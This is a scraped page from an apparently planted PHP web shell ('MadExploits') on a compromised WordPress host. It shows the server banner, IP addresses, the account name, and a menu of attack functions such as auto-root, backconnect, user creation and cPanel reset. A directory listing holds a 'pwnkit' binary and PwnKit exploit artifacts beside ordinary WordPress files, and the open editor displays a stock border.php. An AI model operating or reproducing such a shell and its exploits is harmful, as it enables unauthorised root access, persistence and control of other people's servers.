Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.83
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
vmd /
wp-includes /
block-supports /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align.php
1.69
KB
-rw----r--
border.php
5.76
KB
-rw----r--
colors.php
5.66
KB
-rw----r--
custom-classname.php
1.65
KB
-rw----r--
dimensions.php
2.11
KB
-rw----r--
duotone.php
15.51
KB
-rw----r--
elements.php
4.46
KB
-rw----r--
generated-classname.php
1.73
KB
-rw----r--
layout.php
12.29
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
spacing.php
2.86
KB
-rw----r--
typography.php
9.1
KB
-rw----r--
utils.php
1014
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : border.php
<?php /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_border_support( $block_type ) { // Determine if any border related features are supported. $has_border_support = block_has_support( $block_type, array( '__experimentalBorder' ) ); $has_border_color_support = wp_has_border_feature_support( $block_type, 'color' ); // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_border_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_border_color_support && ! array_key_exists( 'borderColor', $block_type->attributes ) ) { $block_type->attributes['borderColor'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Border CSS classes and inline styles. */ function wp_apply_border_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) { return array(); } $classes = array(); $styles = array(); // Border radius. if ( wp_has_border_feature_support( $block_type, 'radius' ) && isset( $block_attributes['style']['border']['radius'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' ) ) { $border_radius = $block_attributes['style']['border']['radius']; if ( is_array( $border_radius ) ) { // We have individual border radius corner values. foreach ( $border_radius as $key => $radius ) { // Convert CamelCase corner name to kebab-case. $corner = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) ); $styles[] = sprintf( 'border-%s-radius: %s;', $corner, $radius ); } } else { // This check handles original unitless implementation. if ( is_numeric( $border_radius ) ) { $border_radius .= 'px'; } $styles[] = sprintf( 'border-radius: %s;', $border_radius ); } } // Border style. if ( wp_has_border_feature_support( $block_type, 'style' ) && isset( $block_attributes['style']['border']['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ) { $border_style = $block_attributes['style']['border']['style']; $styles[] = sprintf( 'border-style: %s;', $border_style ); } // Border width. if ( wp_has_border_feature_support( $block_type, 'width' ) && isset( $block_attributes['style']['border']['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ) { $border_width = $block_attributes['style']['border']['width']; // This check handles original unitless implementation. if ( is_numeric( $border_width ) ) { $border_width .= 'px'; } $styles[] = sprintf( 'border-width: %s;', $border_width ); } // Border color. if ( wp_has_border_feature_support( $block_type, 'color' ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ) { $has_named_border_color = array_key_exists( 'borderColor', $block_attributes ); $has_custom_border_color = isset( $block_attributes['style']['border']['color'] ); if ( $has_named_border_color || $has_custom_border_color ) { $classes[] = 'has-border-color'; } if ( $has_named_border_color ) { $classes[] = sprintf( 'has-%s-border-color', $block_attributes['borderColor'] ); } elseif ( $has_custom_border_color ) { $border_color = $block_attributes['style']['border']['color']; $styles[] = sprintf( 'border-color: %s;', $border_color ); } } // Collect classes and styles. $attributes = array(); if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } if ( ! empty( $styles ) ) { $attributes['style'] = implode( ' ', $styles ); } return $attributes; } /** * Checks whether the current block type supports the border feature requested. * * If the `__experimentalBorder` support flag is a boolean `true` all border * support features are available. Otherwise, the specific feature's support * flag nested under `experimentalBorder` must be enabled for the feature * to be opted into. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type to check for support. * @param string $feature Name of the feature to check support for. * @param mixed $default_value Fallback value for feature support, defaults to false. * @return bool Whether the feature is supported. */ function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) { // Check if all border support features have been opted into via `"__experimentalBorder": true`. if ( property_exists( $block_type, 'supports' ) && ( true === _wp_array_get( $block_type->supports, array( '__experimentalBorder' ), $default_value ) ) ) { return true; } // Check if the specific feature has been opted into individually // via nested flag under `__experimentalBorder`. return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'border', array( 'register_attribute' => 'wp_register_border_support', 'apply' => 'wp_apply_border_support', ) );
Close